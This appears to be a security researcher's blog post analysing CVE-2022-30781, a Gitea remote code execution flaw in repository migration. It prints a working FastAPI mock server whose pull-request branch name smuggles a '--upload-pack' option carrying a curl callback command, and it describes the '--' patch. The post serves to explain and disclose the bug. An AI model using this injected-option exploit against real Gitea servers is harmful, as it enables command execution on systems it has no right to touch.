Analysis of CVE-2022–30781

MindPatch
4 min readJan 10, 2025

--

How Git Fetch Resulted in Critical Remote Code Execution in Gitea

Gitea logo

Good Morning, Everyone!

In today’s post, I’ll dive into an analysis of CVE-2022–30781, a critical vulnerability found in the Gitea platform. This CVE allows attackers to execute remote code on the affected server, posing a significant security risk.

Here’s what we’ll cover:

  1. Understanding How the CVE Works
  2. Writing Our Own Exploit
  3. How the Gitea Team Fixed It

Let’s jump in and enjoy

Import your Git repo here

in every git platform like gitea, it has a feature that allows you to import all your repo from another platform or different git server into your platform in single click which called Migration

but beside .git repo it's also provides some other options to

  • pull requests
  • Wiki page
  • issues

and in order to extract these data gitea communicate with the chosen platform API in order to import this data

and in one of these options is migrate a repo from another gitea server, and by choosing this option you can notice in logs a few requests from gitea for these endpoints

and one of these endpoints returns the repo pull requests information including the pull request branch, and then gitea will fetch this branch using $ git fetch <remote> <branch>

and as you can see, we cannot Espace using whitespace here in order to get that RCE

Fetch options

The Fetch git subcommand has a few different options you can find here (Git — git-fetch Documentation)

and the interesting one here is — upload-pack option

— upload-pack <upload-pack>

When given, and the repository to fetch from is handled by git fetch-pack, --exec=<upload-pack> is passed to the command to specify non-default path for the command run on the other end.

So, Using this option lets us change the default path of the git-upload-pack tool. This can potentially lead to Remote Code Execution (RCE).

To exploit this, we could inject --upload-pack='CMD' into a branch name or a remote repository. However, Git itself doesn’t allow this directly. 😞

But as mentioned earlier, Gitea servers use APIs to fetch repository information. So, we can set up a mock server to return fake data. When the server asks for the pull request branch, we can include the --upload-pack option in the response and check if it gets executed

Writing The Exploit

In writing the exploit process I always chose python as its the fastest and painless option for me, but you can pick what you like

lets go write our exploit, and this one requires us first to see what gitea api client expect the response so we make sure it gets parsed right

and this step can be done easily after analysing the gitea Swagger file, and after review it I came up with this simple API written in FastAPI

from fastapi import APIRouter

router = APIRouter(prefix="/api/v1")
RCE_PAYLOAD = "curl ID.oast.fun"


# Mock data for some endpoints
MAX_RESPONSE_ITEMS = 50
DEFAULT_PAGING_NUM = 30
DEFAULT_GIT_TREES_PER_PAGE = 1000
DEFAULT_MAX_BLOB_SIZE = 10485760
full_uri = "http://localhost:3000/"

@router.get("/version")
async def get_version():
return {"version": "1.16.6"}

@router.get("/settings/api")
async def get_settings():
return {
"max_response_items": MAX_RESPONSE_ITEMS,
"default_paging_num": DEFAULT_PAGING_NUM,
"default_git_trees_per_page": DEFAULT_GIT_TREES_PER_PAGE,
"default_max_blob_size": DEFAULT_MAX_BLOB_SIZE,
}

@router.get("/repos/{owner}/{repo}")
async def get_repo_info(owner: str, repo: str):
"""
Returns repository information for a given owner and repo.
"""
return {
"clone_url": f"{full_uri}{owner}/{repo}",
"owner": {"login": owner},
}

@router.get("/repos/{owner}/{repo}/topics")
async def get_repo_topics(owner: str, repo: str):
return {"topics": []}

@router.get("/repos/{owner}/{repo}/pulls")
async def get_repo_pulls(owner: str, repo: str):
"""
Returns pull requests for a given repository.
"""
return [
{
"base": {"ref": "master"},
"head": {
"ref": f"--upload-pack={RCE_PAYLOAD}",
"repo": {
"clone_url": "./",
"owner": {"login": "master"},
},
},
"updated_at": "2001-01-01T05:00:00+01:00",
"user": {},
}
]

As you can see in the pulls endpoint, I was able to inject the --upload-pack option into the ref, which corresponds to the pull request's base branch.

Now, let’s test it. I ran the API, created a new migration in Gitea, and set the repository URL to myapi/test/test. Additionally, I enabled the option to fetch pull requests, ensuring that it pulls the repository's pull requests during the migration process

And as you can See :)

In the background, the following command was executed:
$ git fetch origin --upload-pack='curl <host>'

This caused Gitea to make the specified curl request, demonstrating that the RCE was successfully exploited as a proof of concept (PoC)

Patching the bug

Gitea team fixed this bug by using --, which forces Git to treat everything following it as a plain string rather than a parsable option, This effectively resolves the issue.

And that’s it! I hope you found this helpful.

You can access the testing lab and the exploit at:
latestpocs/CVE-2022–30781/gitea_poc at master · MindPatch/latestpocs

Take care, and see you next time! 🙂

--

--

MindPatch
MindPatch

Written by MindPatch

Security Engineer | Part-time Bug bounty hunter

No responses yet